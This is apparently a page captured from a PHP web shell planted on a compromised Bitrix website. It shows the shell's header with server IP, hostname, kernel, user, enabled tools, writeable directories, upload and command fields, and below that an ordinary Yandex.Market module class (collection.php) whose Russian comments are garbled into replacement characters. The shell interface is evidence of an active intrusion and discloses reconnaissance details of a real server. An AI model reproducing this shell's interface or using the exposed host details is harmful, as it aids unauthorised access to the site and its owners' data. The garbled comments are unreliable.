403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/reference/storage/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/reference/storage/collection.php
<?php
namespace Yandex\Market\Reference\Storage;

use Bitrix\Main;
use Yandex\Market\Reference\Common;

abstract class Collection extends Common\Collection
{
	/** @var Model[] */
	protected $collection = [];
	/** @var Model */
	protected $parent;
	protected $changed = false;

	public static function getClassName()
	{
		return '\\' . static::class;
	}

	/**
	 * ��������� �������� �� ���������� ��������
	 *
	 * @param Model[] $parents
	 * @param array   $filter
	 * @param string|callable $associationFlag
	 *
	 * @return static[]
	 */
	public static function loadBatch(array $parents, $filter, $associationFlag)
	{
		$result = static::makeBatchCollections($parents);

		if (!empty($result))
		{
			$items = static::queryItems($filter);

			static::applyBatchAssociationFlag($result, $items, $associationFlag);
		}

		return $result;
	}

	/**
	 * @param Model[] $parents
	 *
	 * @return static[]
	 */
	protected static function makeBatchCollections(array $parents)
	{
		$result = [];

		foreach ($parents as $parent)
		{
			$parentId = (string)$parent->getId();

			if ($parentId !== '')
			{
				$collection = new static();
				$collection->setParent($parent);

				$result[$parentId] = $collection;
			}
		}

		return $result;
	}

	/**
	 * @param Collection[] $collections
	 * @param Model[] $models
	 * @param string|callable $associationFlag
	 *
	 * @throws Main\ArgumentException
	 */
	protected static function applyBatchAssociationFlag(array $collections, array $models, $associationFlag)
	{
		foreach ($models as $model)
		{
			if (is_string($associationFlag))
			{
				$linkValue = $model->getField($associationFlag);

				if (!isset($collections[$linkValue])) { continue; }

				$collection = $collections[$linkValue];

				$model->setParentCollection($collection);
				$collection->addItem($model);
			}
			else if (is_callable($associationFlag))
			{
				/** @noinspection VariableFunctionsUsageInspection */
				call_user_func($associationFlag, $collections, $model);
			}
			else
			{
				throw new Main\ArgumentException('unknown associationFlag format');
			}
		}
	}

	/**
	 * ��������� ������� �� ����������� �������
	 *
	 * @param Model $parent
	 * @param array $filter
	 *
	 * @return static
	 * @throws Main\SystemException
	 */
	public static function load(Model $parent, $filter)
	{
		$collection = $parent->getId() > 0 ? static::loadByFilter($filter) : new static();
		$collection->setParent($parent);

		return $collection;
	}

	/**
	 * ��������� ������� �� ������
	 *
	 * @param array $filter
	 *
	 * @return static
	 *
	 * @throws Main\ArgumentException
	 * @throws Main\SystemException
	 */
	public static function loadByFilter($filter)
	{
		$collection = new static();

		foreach (static::queryItems($filter) as $model)
		{
			$model->setParentCollection($collection);
			$collection->addItem($model);
		}

		return $collection;
	}

	/**
	 * @param array|null $filter
	 *
	 * @return Model[]
	 * @throws Main\SystemException
	 */
	protected static function queryItems($filter)
	{
		$modelClassName = static::getItemReference();

		if (!isset($modelClassName)) { throw new Main\SystemException('reference item not defined'); }

		return $modelClassName::loadList($filter);
	}

	public function addItem(Common\Model $model)
	{
		parent::addItem($model);
		$this->changed = true;
	}

	public function isChanged()
	{
		if ($this->changed) { return true; }

		foreach ($this->collection as $model)
		{
			if ($model->isChanged())
			{
				return true;
			}
		}

		return false;
	}

	public function save()
	{
		foreach ($this->collection as $model)
		{
			$model->save();
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit